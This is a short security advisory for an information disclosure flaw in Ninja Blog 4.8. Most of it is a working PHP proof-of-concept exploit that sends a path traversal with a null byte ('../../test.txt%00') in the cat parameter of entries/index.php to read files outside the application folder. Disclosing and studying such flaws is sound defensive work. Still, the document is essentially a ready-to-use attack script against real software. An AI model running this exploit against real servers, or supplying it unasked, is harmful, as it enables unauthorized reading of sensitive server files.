Ninja Blog 4.8 Information Disclosure

`Vendor: http://ninjadesigns.co.uk  
Version(s): Ninja Blog 4.8 (May also affect earlier versions)  
Credit: Danny Moules  
Critical: Yes  
  
See PUSH 55 Advisory at http://www.push55.co.uk/index.php?s=ad&id=6  
  
----  
  
Due to insufficient validation of client-side data, we can alter the path of files to be read to a file outside the intended directory.  
  
The following PoC will read a file named 'test.txt' one level above the application folder.  
  
---  
  
<?php  
  
$strToRead = "../../test.txt%00"; //Designates 'test.txt', sat one level above the application folder, to be read  
$strSite = "http://www.example.com/ninjablog4.8/"; //Don't forget the trailing slash  
  
$objCurl = curl_init();  
curl_setopt($objCurl, CURLOPT_URL, $strSite."entries/index.php?cat=".$strToRead);  
curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true);  
  
echo("Getting data...\n");  
$strDump = curl_exec($objCurl);  
  
curl_close($objCurl);  
  
echo("<div style=\"border: solid 2px black; padding: 10px; margin: 10px;\">$strDump</div>\n");  
  
?>  
  
  
`